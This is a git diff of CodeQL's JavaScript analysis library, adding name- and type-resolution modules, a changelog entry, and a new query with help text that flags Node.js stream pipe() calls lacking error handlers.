+ exists(SelectiveReExportDeclaration exprt, ExportSpecifier spec | + // `export { A as B } from 'blah'` + // This is not covered by `exportsAs` above because neither A or B is a LexicalName + // (both are property names) so it doesn't fit the interface of `exportsAs`. + spec = exprt.getASpecifier() and + mod = exprt.getContainer() and + name = spec.getExportedName() and + result = spec.getLocal() + ) + or + exists(EnumDeclaration enum | + mod = enum and + result = enum.getMemberByName(name).getIdentifier() + ) + or + storeToVariable(result, name, mod.(Closure::ClosureModule).getExportsVariable()) + } + + /** + * Holds if `value` is stored in `target.prop`. Only needs to recognise assignments + * that are also recognised by JSDoc tooling such as the Closure compiler. + */ + private predicate storeToVariable(Expr value, string prop, LocalVariableLike target) { + exists(AssignExpr assign | + // target.name = value + assign.getLhs().(PropAccess).accesses(target.getAnAccess(), prop) and + value = assign.getRhs() + ) + or + // target = { name: value } + value = target.getAnAssignedExpr().(ObjectExpr).getPropertyByName(prop).getInit() + } + + /** Steps that only apply for this configuration. */ + private predicate specificStep(Node node1, Node node2) { + exists(LexicalName var | S::isRelevantVariable(var) | + node1.(LexicalDecl).getALexicalName() = var and + node2 = var + or + node1 = var and + node2.(LexicalAccess).getALexicalName() = var + or + node1 = var and + node2.(JSDocLocalTypeAccess).getALexicalName() = var + ) + or + exists(Node base, string name, ModuleLike mod | + readStep(base, name, node2) and + base = trackModule(mod) and + node1 = getModuleExport(mod, name) + ) + } + + /** + * Holds if data should propagate from `node1` to `node2`. + */ + pragma[inline] + predicate step(Node node1, Node node2) { + commonStep(node1, node2) + or + specificStep(node1, node2) + } + + /** Helps track flow from a particular set of source nodes. */ + module Track { + /** Gets the set of nodes reachable from `source`. */ + Node track(Node source) { + isSource(source) and + result = source + or + step(track(source), result) + } + } + + signature class AstNodeSig extends AstNode; + + /** Helps track flow from a particular set of source nodes. */ + module TrackNode { + /** Gets the set of nodes reachable from `source`. */ + Node track(Source source) { + result = source + or + step(track(source), result) + } + } + } + + /** + * Gets a node to which the given module flows. + */ + predicate trackModule = ValueFlow::TrackNode::track/1; + + /** + * Holds if `moduleName` appears to start with a package name, as opposed to a relative file import. + */ + bindingset[moduleName] + private predicate isExternalModuleName(string moduleName) { + not moduleName.regexpMatch("^(\\.|/).*") + } + + bindingset[name] + private string normalizeModuleName(string name) { + result = + name.regexpReplaceAll("^node:", "") + .regexpReplaceAll("\\.[cm]?[jt]sx?$", "") + .regexpReplaceAll("/(index)?$", "") + } + + /** Appends a name onto a qualified name */ + bindingset[a, b] + string append(string a, string b) { + if b = "default" + then result = a + else ( + (if a = "" or b = "" then result = a + b else result = a + "." + b) and + result.length() < 100 + ) + } + + private predicate needsQualifiedName(Node node) { + node = any(JSDocLocalTypeAccess t).getALexicalName().(Variable) + or + exists(Node prev | needsQualifiedName(prev) | + ValueFlow::step(node, prev) + or + readStep(node, _, prev) + ) + } + + /** + * Holds if `node` is a reference to the given module, or a qualified name rooted in that module. + * + * If `qualifiedName` is empty, `node` refers to the module itself. + * + * If `mod` is the string `"global"`, `node` refers to a global access path. + * + * Unlike `trackModule`, this is intended to track uses of external packages. + */ + predicate nodeRefersToModule(Node node, string mod, string qualifiedName) { + exists(Expr path | + path = any(Import imprt).getImportedPathExpr() or + path = any(ReExportDeclaration e).getImportedPath() + | + node = path and + mod = normalizeModuleName(path.getStringValue()) and + isExternalModuleName(mod) and + qualifiedName = "" + ) + or + mod = "global" and + exists(LocalNamespaceAccess access | + node = access and + not exists(access.getLocalNamespaceName()) and + access.getName() = qualifiedName + ) + or + mod = "global" and + exists(JSDocLocalTypeAccess access | + node = access and + not exists(access.getALexicalName()) and + access.getName() = qualifiedName + ) + or + mod = "global" and + exists(GlobalVarAccess access | + node = access and + needsQualifiedName(access) and // restrict number of qualified names we generate + access.getName() = qualifiedName + ) + or + mod = "global" and + qualifiedName = node.(Closure::RequireCallExpr).getClosureNamespace() + or + // Additionally track through bulk re-exports (`export * from 'mod`). + // These are normally handled by 'exportAs' which supports various shadowing rules, + // but has no effect when the ultimate re-exported module is not resolved to a Module. + // We propagate external module refs through bulk re-exports and ignore shadowing rules. + exists(BulkReExportDeclaration reExport | + nodeRefersToModule(reExport.getImportedPath(), mod, qualifiedName) and + node = reExport.getContainer() + ) + or + exists(Node mid | + nodeRefersToModule(mid, mod, qualifiedName) and + ValueFlow::step(mid, node) + ) + or + exists(Node mid, string prefix, string step | + nodeRefersToModule(mid, mod, prefix) and + readStep(mid, step, node) and + qualifiedName = append(prefix, step) + ) + } +} diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll new file mode 100644 index 00000000000..ddf5757a38c --- /dev/null +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -0,0 +1,422 @@ +private import javascript +private import semmle.javascript.internal.NameResolution::NameResolution +private import semmle.javascript.internal.UnderlyingTypes +private import semmle.javascript.dataflow.internal.sharedlib.SummaryTypeTracker as SummaryTypeTracker + +module TypeResolution { + predicate trackClassValue = ValueFlow::TrackNode::track/1; + + predicate trackType = TypeFlow::TrackNode::track/1; + + /** + * Gets a node that has `fun` as an underlying type. + * + * We track through underlying types as an approximate way to handle calls to a type + * that is a union/intersection involving functions. + */ + Node trackUnderlyingFunctionType(Function fun) { + result = fun + or + exists(Node mid | mid = trackUnderlyingFunctionType(fun) | + TypeFlow::step(mid, result) + or + UnderlyingTypes::underlyingTypeStep(mid, result) + ) + } + + predicate trackFunctionValue = ValueFlow::TrackNode::track/1; + + /** + * Gets the representative for the type containing the given member. + * + * For non-static members this is simply the enclosing type declaration. + * + * For static members we use the class's `Variable` as representative for the type of the class object. + */ + private Node getMemberBase(MemberDeclaration member) { + if member.isStatic() + then result = member.getDeclaringClass().getVariable() + else result = member.getDeclaringType() + } + + /** + * Holds if `host` is a type with a `content` of type `memberType`, not counting inherited members. + */ + private predicate typeOwnMember(Node host, DataFlow::Content content, Node memberType) { + exists(MemberDeclaration decl | host = getMemberBase(decl) | + exists(FieldDeclaration field | + decl = field and + content.asPropertyName() = field.getName() and + memberType = field.getTypeAnnotation() + ) + or + exists(MethodDeclaration method | + decl = method and + content.asPropertyName() = method.getName() + | + not method instanceof AccessorMethodDeclaration and + memberType = method.getBody() // use the Function as representative for the function type + or + method instanceof GetterMethodDeclaration and + memberType = method.getBody().getReturnTypeAnnotation() + ) + or + decl instanceof IndexSignature and + memberType = decl.(IndexSignature).getBody().getReturnTypeAnnotation() and + content.isUnknownArrayElement() + ) + or + // Ad-hoc support for array types. We don't support generics in general currently, we just special-case arrays and promises. + content.isUnknownArrayElement() and + ( + memberType = host.(ArrayTypeExpr).getElementType() + or + exists(GenericTypeExpr type | + host = type and + type.getTypeAccess().(LocalTypeAccess).getName() = ["Array", "ReadonlyArray"] and + memberType = type.getTypeArgument(0) + ) + or + exists(JSDocAppliedTypeExpr type | + host = type and + type.getHead().(JSDocLocalTypeAccess).getName() = "Array" and + memberType = type.getArgument(0) + ) + ) + or + content.isPromiseValue() and + memberType = unwrapPromiseType(host) + } + + /** + * Holds if `host` is a type with a `content` of type `memberType`, possible due to inheritance. + */ + private predicate typeMember(Node host, DataFlow::Content content, Node memberType) { + typeOwnMember(host, content, memberType) + or + // Inherit members from base types + not typeOwnMember(host, content, _) and + exists(ClassOrInterface baseType | typeMember(baseType, content, memberType) | + host.(ClassDefinition).getSuperClass() = trackClassValue(baseType) + or + host.(ClassOrInterface).getASuperInterface() = trackType(baseType) + ) + } + + /** + * Holds `use` refers to `host`, and `host` has type members. + * + * Currently steps through unions and intersections, which acts as a basic + * approximation to the unions/intersection of objects. + */ + private predicate typeMemberHostReaches(Node host, Node use) { + typeMember(host, _, _) and + use = host + or + exists(Node mid | typeMemberHostReaches(host, mid) | + TypeFlow::step(mid, use) + or + UnderlyingTypes::underlyingTypeStep(mid, use) + ) + } + + /** + * Holds if there is a read from from `object` to `member` that reads `contents`. + */ + private predicate valueReadStep(Node object, DataFlow::ContentSet contents, Node member) { + member.(PropAccess).accesses(object, contents.asPropertyName()) + or + object.(ObjectPattern).getPropertyPatternByName(contents.asPropertyName()).getValuePattern() = + member + or + member.(AwaitExpr).getOperand() = object and + contents = DataFlow::ContentSet::promiseValue() + or + SummaryTypeTracker::basicLoadStep(object.(AST::ValueNode).flow(), + member.(AST::ValueNode).flow(), contents) + } + + predicate callTarget(InvokeExpr call, Function target) { + exists(ClassDefinition cls | + valueHasType(call.(NewExpr).getCallee(), trackClassValue(cls)) and + target = cls.getConstructor().getBody() + ) + or + valueHasType(call.getCallee(), trackFunctionValue(target)) + or + valueHasType(call.getCallee(), trackUnderlyingFunctionType(target)) and + ( + call instanceof NewExpr and + target = any(ConstructorTypeExpr t).getFunction() + or + call instanceof CallExpr and + target = any(PlainFunctionTypeExpr t).getFunction() + ) + or + exists(InterfaceDefinition interface, CallSignature sig | + valueHasType(call.getCallee(), trackType(interface)) and + sig = interface.getACallSignature() and + target = sig.getBody() + | + call instanceof NewExpr and + sig instanceof ConstructorCallSignature + or + call instanceof CallExpr and + sig instanceof FunctionCallSignature + ) + } + + private predicate functionReturnType(Function func, Node returnType) { + returnType = func.getReturnTypeAnnotation() + or + not exists(func.getReturnTypeAnnotation()) and + exists(Function functionType | + contextualType(func, trackUnderlyingFunctionType(functionType)) and + returnType = functionType.getReturnTypeAnnotation() + ) + } + + bindingset[name] + private predicate isPromiseTypeName(string name) { + name.regexpMatch(".?(Promise|Thenable)(Like)?") + } + + private Node unwrapPromiseType(Node promiseType) { + exists(GenericTypeExpr type | + promiseType = type and + isPromiseTypeName(type.getTypeAccess().(LocalTypeAccess).getName()) and + result = type.getTypeArgument(0) + ) + or + exists(JSDocAppliedTypeExpr type | + promiseType = type and + isPromiseTypeName(type.getHead().(JSDocLocalTypeAccess).getName()) and + result = type.getArgument(0) + ) + } + + predicate contextualType(Node value, Node type) { + exists(LocalVariableLike v | + type = v.getADeclaration().getTypeAnnotation() and + value = v.getAnAssignedExpr() + ) + or + exists(InvokeExpr call, Function target, int i | + callTarget(call, target) and + value = call.getArgument(i) and + type = target.getParameter(i).getTypeAnnotation() + ) + or + exists(Function lambda, Node returnType | + value = lambda.getAReturnedExpr() and + functionReturnType(lambda, returnType) + | + not lambda.isAsyncOrGenerator() and + type = returnType + or + lambda.isAsync() and + type = unwrapPromiseType(returnType) + ) + or + exists(ObjectExpr object, Node objectType, Node host, string name | + contextualType(object, objectType) and + typeMemberHostReaches(host, objectType) and + typeMember(host, any(DataFlow::Content c | c.asPropertyName() = name), type) and + value = object.getPropertyByName(name).getInit() + ) + or + exists(ArrayExpr array, Node arrayType, Node host | + contextualType(array, arrayType) and + typeMemberHostReaches(host, arrayType) and + typeMember(host, any(DataFlow::Content c | c.isUnknownArrayElement()), type) and + value = array.getAnElement() + ) + } + + /** + * Holds if `value` has the given `type`. + */ + predicate valueHasType(Node value, Node type) { + value.(BindingPattern).getTypeAnnotation() = type + or + value.(TypeAssertion).getTypeAnnotation() = type + or + value.(SatisfiesExpr).getTypeAnnotation() = type + or + exists(VarDecl decl | + // ValueFlow::step is restricted to variables with at most one assignment. Allow the type annotation + // of a variable to propagate to its uses, even if the variable has multiple assignments. + type = decl.getTypeAnnotation() and + value = decl.getVariable().(LocalVariableLike).getAnAccess() + ) + or + exists(MemberDeclaration member | + value.(ThisExpr).getBindingContainer() = member.getInit() and + type = getMemberBase(member) + ) + or + exists(ClassDefinition cls | + value = cls and + type = cls.getVariable() + ) + or + exists(FunctionDeclStmt fun | + value = fun and + type = fun.getVariable() + ) + or + exists(Function target | callTarget(value, target) | + type = target.getReturnTypeAnnotation() + or + exists(ClassDefinition cls | + target = cls.getConstructor().getBody() and + type = cls + ) + ) + or + // Contextual typing for parameters + exists(Function lambda, Function functionType, int i | + contextualType(lambda, trackUnderlyingFunctionType(functionType)) + or + exists(InterfaceDefinition interface | + contextualType(lambda, trackType(interface)) and + functionType = interface.getACallSignature().getBody() + ) + | + value = lambda.getParameter(i) and + not exists(value.(Parameter).getTypeAnnotation()) and + type = functionType.getParameter(i).getTypeAnnotation() + ) + or + exists(Node mid | valueHasType(mid, type) | ValueFlow::step(mid, value)) + or + exists(Node mid, Node midType, DataFlow::ContentSet contents, Node host | + valueReadStep(mid, contents, value) and + valueHasType(mid, midType) and + typeMemberHostReaches(host, midType) and + typeMember(host, contents.getAReadContent(), type) + ) + } + + signature predicate nodeSig(Node node); + + /** + * Tracks types that have a certain property, in the sense that: + * - an intersection type has the property if any member has the property + * - a union type has the property if all its members have the property + */ + module TrackMustProp { + predicate hasProperty(Node node) { + directlyHasProperty(node) + or + exists(Node mid | + hasProperty(mid) and + TypeFlow::step(mid, node) + ) + or + unionHasProp(node) + or + hasProperty(node.(IntersectionTypeExpr).getAnElementType()) + or + exists(ConditionalTypeExpr cond | + node = cond and + hasProperty(cond.getTrueType()) and + hasProperty(cond.getFalseType()) + ) + } + + private predicate unionHasProp(UnionTypeExpr node, int n) { + hasProperty(node.getElementType(0)) and n = 1 + or + unionHasProp(node, n - 1) and + hasProperty(node.getElementType(n - 1)) + } + + private predicate unionHasProp(UnionTypeExpr node) { + unionHasProp(node, node.getNumElementType()) + } + } + + module ValueHasProperty { + predicate valueHasProperty(Node value) { + exists(Node type | + valueHasType(value, type) and + typeHasProperty(type) + ) + } + } + + private predicate isSanitizingPrimitiveTypeBase(Node node) { + node.(TypeExpr).isNumbery() + or + node.(TypeExpr).isBooleany() + or + node.(TypeExpr).isNull() + or + node.(TypeExpr).isUndefined() + or + node.(TypeExpr).isVoid() + or + node.(TypeExpr).isNever() + or + node.(TypeExpr).isBigInt() + or + node.(TypeExpr).isSymbol() + or + node instanceof LiteralTypeExpr + or + node = any(EnumMember m).getIdentifier() // enum members are constant + or + node instanceof EnumDeclaration // enums are unions of constants + } + + /** + * Holds if `node` refers to a type that is considered untaintable (if actually enforced at runtime). + * + * Specifically, the types `number`, `boolean`, `null`, `undefined`, `void`, `never`, as well as literal types (`"foo"`) + * and enums and enum members have this property. + */ + predicate isSanitizingPrimitiveType = + TrackMustProp::hasProperty/1; + + /** + * Holds if `value` has a type that is considered untaintable (if actually enforced at runtime). + * + * See `isSanitizingPrimitiveType`. + */ + predicate valueHasSanitizingPrimitiveType = + ValueHasProperty::valueHasProperty/1; + + private predicate isPromiseBase(Node node) { exists(unwrapPromiseType(node)) } + + /** + * Holds if the given type is a Promise object. Does not hold for unions unless all parts of the union are promises. + */ + predicate isPromiseType = TrackMustProp::hasProperty/1; + + /** + * Holds if the given value has a type that implied it is a Promise object. Does not hold for unions unless all parts of the union are promises. + */ + predicate valueHasPromiseType = ValueHasProperty::valueHasProperty/1; + + /** + * Holds if `type` contains `string` or `any`, possibly wrapped in a promise. + */ + predicate hasUnderlyingStringOrAnyType(Node type) { + type.(TypeAnnotation).isStringy() + or + type.(TypeAnnotation).isAny() + or + type instanceof StringLiteralTypeExpr + or + type instanceof TemplateLiteralTypeExpr + or + exists(Node mid | hasUnderlyingStringOrAnyType(mid) | + TypeFlow::step(mid, type) + or + UnderlyingTypes::underlyingTypeStep(mid, type) + or + type = unwrapPromiseType(mid) + ) + } +} diff --git a/javascript/ql/lib/semmle/javascript/internal/UnderlyingTypes.qll b/javascript/ql/lib/semmle/javascript/internal/UnderlyingTypes.qll new file mode 100644 index 00000000000..8f6628278c4 --- /dev/null +++ b/javascript/ql/lib/semmle/javascript/internal/UnderlyingTypes.qll @@ -0,0 +1,128 @@ +/** + * Provides name resolution and propagates type information. + */ + +private import javascript +private import semmle.javascript.internal.NameResolution::NameResolution + +/** + * Provides name resolution and propagates type information. + */ +module UnderlyingTypes { + private predicate subtypeStep(Node node1, Node node2) { + exists(ClassOrInterface cls | + ( + node1 = cls.getSuperClass() or + node1 = cls.getASuperInterface() + ) and + node2 = cls + ) + } + + predicate underlyingTypeStep(Node node1, Node node2) { + exists(UnionOrIntersectionTypeExpr type | + node1 = type.getAnElementType() and + node2 = type + ) + or + exists(ReadonlyTypeExpr type | + node1 = type.getElementType() and + node2 = type + ) + or + exists(OptionalTypeExpr type | + node1 = type.getElementType() and + node2 = type + ) + or + exists(GenericTypeExpr type | + node1 = type.getTypeAccess() and + node2 = type + ) + or + exists(ExpressionWithTypeArguments e | + node1 = e.getExpression() and + node2 = e + ) + or + exists(JSDocUnionTypeExpr type | + node1 = type.getAnAlternative() and + node2 = type + ) + or + exists(JSDocNonNullableTypeExpr type | + node1 = type.getTypeExpr() and + node2 = type + ) + or + exists(JSDocNullableTypeExpr type | + node1 = type.getTypeExpr() and + node2 = type + ) + or + exists(JSDocAppliedTypeExpr type | + node1 = type.getHead() and + node2 = type + ) + or + exists(JSDocOptionalParameterTypeExpr type | + node1 = type.getUnderlyingType() and + node2 = type + ) + } + + predicate nodeHasUnderlyingType(Node node, string mod, string name) { + nodeRefersToModule(node, mod, name) + or + exists(JSDocLocalTypeAccess type | + node = type and + not exists(type.getALexicalName()) and + not type = any(JSDocQualifiedTypeAccess t).getBase() and + name = type.getName() and + mod = "global" + ) + or + exists(LocalTypeAccess type | + node = type and + not exists(type.getLocalTypeName()) and + name = type.getName() and + mod = "global" + ) + or + exists(Node mid | nodeHasUnderlyingType(mid, mod, name) | + TypeFlow::step(mid, node) + or + underlyingTypeStep(mid, node) + or + subtypeStep(mid, node) + ) + } + + pragma[nomagic] + predicate nodeHasUnderlyingType(Node node, string name) { + nodeHasUnderlyingType(node, "global", name) + } + + predicate nodeHasUnderlyingClassType(Node node, DataFlow::ClassNode cls) { + node = cls.getAstNode() + or + exists(string name | + classHasGlobalName(cls, name) and + nodeHasUnderlyingType(node, name) + ) + or + exists(Node mid | nodeHasUnderlyingClassType(mid, cls) | + TypeFlow::step(mid, node) + or + underlyingTypeStep(mid, node) + // Note: unlike for external types, we do not use subtype steps here. + // The caller is responsible for handling the class hierarchy. + ) + } + + pragma[nomagic] + private predicate classHasGlobalName(DataFlow::ClassNode cls, string name) { + cls.flowsTo(AccessPath::getAnAssignmentTo(name)) and + not cls.getTopLevel().isExterns() // don't propagate externs classes + } +} diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index bd5cb345793..b6939ad5ec4 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.6.2 + +No user-facing changes. + +## 1.6.1 + +### Minor Analysis Improvements + +* The queries `js/hardcoded-credentials` and `js/password-in-configuration-file` have been removed from all query suites. + ## 1.6.0 ### Query Metadata Changes diff --git a/javascript/ql/src/Expressions/MissingAwait.ql b/javascript/ql/src/Expressions/MissingAwait.ql index d97c006a7bd..a16d31ee2a5 100644 --- a/javascript/ql/src/Expressions/MissingAwait.ql +++ b/javascript/ql/src/Expressions/MissingAwait.ql @@ -10,6 +10,7 @@ */ import javascript +private import semmle.javascript.internal.TypeResolution /** * Holds if `call` is a call to an `async` function. @@ -28,7 +29,7 @@ predicate isPromise(DataFlow::SourceNode node, boolean nullable) { isAsyncCall(node, nullable) or not isAsyncCall(node, _) and - node.asExpr().getType() instanceof PromiseType and + TypeResolution::valueHasPromiseType(node.asExpr()) and nullable = true } diff --git a/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp new file mode 100644 index 00000000000..39de6de477d --- /dev/null +++ b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp @@ -0,0 +1,44 @@ + + + + +

+In Node.js, calling the pipe() method on a stream without proper error handling can lead to unexplained failures, where errors are dropped and not propagated downstream. This can result in unwanted behavior and make debugging difficult. To reliably handle all errors, every stream in the pipeline must have an error handler registered. +

+
+ + +

+Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors. +

+

+If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors emitted by the input stream are properly handled. When multiple pipe() calls are chained, an error handler should be attached before each step of the pipeline. +

+
+ + +

+The following code snippet demonstrates a problematic usage of the pipe() method without error handling: +

+ + + +

+A better approach is to use the pipeline function, which automatically handles errors: +

+ + + +

+Alternatively, if you need to use pipe(), make sure to add error handling: +

+ + +
+ + +
  • Node.js Documentation: stream.pipeline().
  • +
    +
    diff --git a/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql new file mode 100644 index 00000000000..a6142a2e6e7 --- /dev/null +++ b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql @@ -0,0 +1,303 @@ +/** + * @id js/unhandled-error-in-stream-pipeline + * @name Unhandled error in stream pipeline + * @description Calling `pipe()` on a stream without error handling will drop errors coming from the input stream + * @kind problem + * @problem.severity warning + * @precision high + * @tags quality + * maintainability + * error-handling + * frameworks/nodejs + */ + +import javascript +import semmle.javascript.filters.ClassifyFiles + +/** + * A call to the `pipe` method on a Node.js stream. + */ +class PipeCall extends DataFlow::MethodCallNode { + PipeCall() { + this.getMethodName() = "pipe" and + this.getNumArgument() = [1, 2] and + not this.getArgument([0, 1]).asExpr() instanceof Function and + not this.getArgument(0).asExpr() instanceof ObjectExpr and + not this.getArgument(0).getALocalSource() = getNonNodeJsStreamType() + } + + /** Gets the source stream (receiver of the pipe call). */ + DataFlow::Node getSourceStream() { result = this.getReceiver() } + + /** Gets the destination stream (argument of the pipe call). */ + DataFlow::Node getDestinationStream() { result = this.getArgument(0) } +} + +/** + * Gets a reference to a value that is known to not be a Node.js stream. + * This is used to exclude pipe calls on non-stream objects from analysis. + */ +private DataFlow::Node getNonNodeJsStreamType() { + result = getNonStreamApi().getAValueReachableFromSource() +} + +/** + * Gets API nodes from modules that are known to not provide Node.js streams. + * This includes reactive programming libraries, frontend frameworks, and other non-stream APIs. + */ +private API::Node getNonStreamApi() { + exists(string moduleName | + moduleName + .regexpMatch([ + "rxjs(|/.*)", "@strapi(|/.*)", "highland(|/.*)", "execa(|/.*)", "arktype(|/.*)", + "@ngrx(|/.*)", "@datorama(|/.*)", "@angular(|/.*)", "react.*", "@langchain(|/.*)", + ]) and + result = API::moduleImport(moduleName) + ) + or + result = getNonStreamApi().getAMember() + or + result = getNonStreamApi().getAParameter().getAParameter() + or + result = getNonStreamApi().getReturn() + or + result = getNonStreamApi().getPromised() +} + +/** + * Gets the method names used to register event handlers on Node.js streams. + * These methods are used to attach handlers for events like `error`. + */ +private string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } + +/** + * Gets the method names that are chainable on Node.js streams. + */ +private string getChainableStreamMethodName() { + result = + [ + "setEncoding", "pause", "resume", "unpipe", "destroy", "cork", "uncork", "setDefaultEncoding", + "off", "removeListener", getEventHandlerMethodName() + ] +} + +/** + * Gets the method names that are not chainable on Node.js streams. + */ +private string getNonchainableStreamMethodName() { + result = ["read", "write", "end", "pipe", "unshift", "push", "isPaused", "wrap", "emit"] +} + +/** + * Gets the property names commonly found on Node.js streams. + */ +private string getStreamPropertyName() { + result = + [ + "readable", "writable", "destroyed", "closed", "readableHighWaterMark", "readableLength", + "readableObjectMode", "readableEncoding", "readableFlowing", "readableEnded", "flowing", + "writableHighWaterMark", "writableLength", "writableObjectMode", "writableFinished", + "writableCorked", "writableEnded", "defaultEncoding", "allowHalfOpen", "objectMode", + "errored", "pending", "autoDestroy", "encoding", "path", "fd", "bytesRead", "bytesWritten", + "_readableState", "_writableState" + ] +} + +/** + * Gets all method names commonly found on Node.js streams. + */ +private string getStreamMethodName() { + result = [getChainableStreamMethodName(), getNonchainableStreamMethodName()] +} + +/** + * A call to register an event handler on a Node.js stream. + * This includes methods like `on`, `once`, and `addListener`. + */ +class ErrorHandlerRegistration extends DataFlow::MethodCallNode { + ErrorHandlerRegistration() { + this.getMethodName() = getEventHandlerMethodName() and + this.getArgument(0).getStringValue() = "error" + } +} + +/** + * Holds if the stream in `node1` will propagate to `node2`. + */ +private predicate streamFlowStep(DataFlow::Node node1, DataFlow::Node node2) { + exists(PipeCall pipe | + node1 = pipe.getDestinationStream() and + node2 = pipe + ) + or + exists(DataFlow::MethodCallNode chainable | + chainable.getMethodName() = getChainableStreamMethodName() and + node1 = chainable.getReceiver() and + node2 = chainable + ) +} + +/** + * Tracks the result of a pipe call as it flows through the program. + */ +private DataFlow::SourceNode destinationStreamRef(DataFlow::TypeTracker t, PipeCall pipe) { + t.start() and + (result = pipe or result = pipe.getDestinationStream().getALocalSource()) + or + exists(DataFlow::SourceNode prev | + prev = destinationStreamRef(t.continue(), pipe) and + streamFlowStep(prev, result) + ) + or + exists(DataFlow::TypeTracker t2 | result = destinationStreamRef(t2, pipe).track(t2, t)) +} + +/** + * Gets a reference to the result of a pipe call. + */ +private DataFlow::SourceNode destinationStreamRef(PipeCall pipe) { + result = destinationStreamRef(DataFlow::TypeTracker::end(), pipe) +} + +/** + * Holds if the pipe call result is used to call a non-stream method. + * Since pipe() returns the destination stream, this finds cases where + * the destination stream is used with methods not typical of streams. + */ +private predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { + exists(DataFlow::MethodCallNode call | + call = destinationStreamRef(pipeCall).getAMethodCall() and + not call.getMethodName() = getStreamMethodName() + ) +} + +/** + * Holds if the pipe call result is used to access a property that is not typical of streams. + */ +private predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { + exists(DataFlow::PropRef propRef | + propRef = destinationStreamRef(pipeCall).getAPropertyRead() and + not propRef.getPropertyName() = [getStreamPropertyName(), getStreamMethodName()] + ) +} + +/** + * Holds if the pipe call result is used in a non-stream-like way, + * either by calling non-stream methods or accessing non-stream properties. + */ +private predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { + isPipeFollowedByNonStreamMethod(pipeCall) or + isPipeFollowedByNonStreamProperty(pipeCall) +} + +/** + * Gets a reference to a stream that may be the source of the given pipe call. + * Uses type back-tracking to trace stream references in the data flow. + */ +private DataFlow::SourceNode sourceStreamRef(DataFlow::TypeBackTracker t, PipeCall pipeCall) { + t.start() and + result = pipeCall.getSourceStream().getALocalSource() + or + exists(DataFlow::SourceNode prev | + prev = sourceStreamRef(t.continue(), pipeCall) and + streamFlowStep(result.getALocalUse(), prev) + ) + or + exists(DataFlow::TypeBackTracker t2 | result = sourceStreamRef(t2, pipeCall).backtrack(t2, t)) +} + +/** + * Gets a reference to a stream that may be the source of the given pipe call. + */ +private DataFlow::SourceNode sourceStreamRef(PipeCall pipeCall) { + result = sourceStreamRef(DataFlow::TypeBackTracker::end(), pipeCall) +} + +/** + * Holds if the source stream of the given pipe call has an `error` handler registered. + */ +private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { + exists(DataFlow::Node stream | + stream = sourceStreamRef(pipeCall).getALocalUse() and + ( + stream.(DataFlow::SourceNode).getAMethodCall(_) instanceof ErrorHandlerRegistration + or + exists(DataFlow::SourceNode base, string propName | + stream = base.getAPropertyRead(propName) and + base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration + ) + or + exists(DataFlow::PropWrite propWrite, DataFlow::SourceNode instance | + propWrite.getRhs().getALocalSource() = stream and + instance = propWrite.getBase().getALocalSource() and + instance.getAPropertyRead(propWrite.getPropertyName()).getAMethodCall(_) instanceof + ErrorHandlerRegistration + ) + ) + ) + or + hasPlumber(pipeCall) +} + +/** + * Holds if the pipe call uses `gulp-plumber`, which automatically handles stream errors. + * `gulp-plumber` returns a stream that uses monkey-patching to ensure all subsequent streams in the pipeline propagate their errors. + */ +private predicate hasPlumber(PipeCall pipeCall) { + pipeCall.getDestinationStream().getALocalSource() = API::moduleImport("gulp-plumber").getACall() + or + sourceStreamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() +} + +/** + * Holds if the source or destination of the given pipe call is identified as a non-Node.js stream. + */ +private predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { + sourceStreamRef(pipeCall) = getNonNodeJsStreamType() or + destinationStreamRef(pipeCall) = getNonNodeJsStreamType() +} + +/** + * Holds if the source stream of the given pipe call is used in a non-stream-like way. + */ +private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { + exists(DataFlow::MethodCallNode call, string name | + call.getReceiver().getALocalSource() = sourceStreamRef(pipeCall) and + name = call.getMethodName() and + not name = getStreamMethodName() + ) + or + exists(DataFlow::PropRef propRef, string propName | + propRef.getBase().getALocalSource() = sourceStreamRef(pipeCall) and + propName = propRef.getPropertyName() and + not propName = [getStreamPropertyName(), getStreamMethodName()] + ) +} + +/** + * Holds if the pipe call destination stream has an error handler registered. + */ +private predicate hasErrorHandlerDownstream(PipeCall pipeCall) { + exists(DataFlow::SourceNode stream | + stream = destinationStreamRef(pipeCall) and + ( + exists(ErrorHandlerRegistration handler | handler.getReceiver().getALocalSource() = stream) + or + exists(DataFlow::SourceNode base, string propName | + stream = base.getAPropertyRead(propName) and + base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration + ) + ) + ) +} + +from PipeCall pipeCall +where + not hasErrorHandlerRegistered(pipeCall) and + hasErrorHandlerDownstream(pipeCall) and + not isPipeFollowedByNonStreamAccess(pipeCall) and + not hasNonStreamSourceLikeUsage(pipeCall) and + not hasNonNodeJsStreamSource(pipeCall) and + not isTestFile(pipeCall.getFile()) +select pipeCall, + "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js new file mode 100644 index 00000000000..95c1661a8b9 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js @@ -0,0 +1,8 @@ +const fs = require('fs'); +const source = 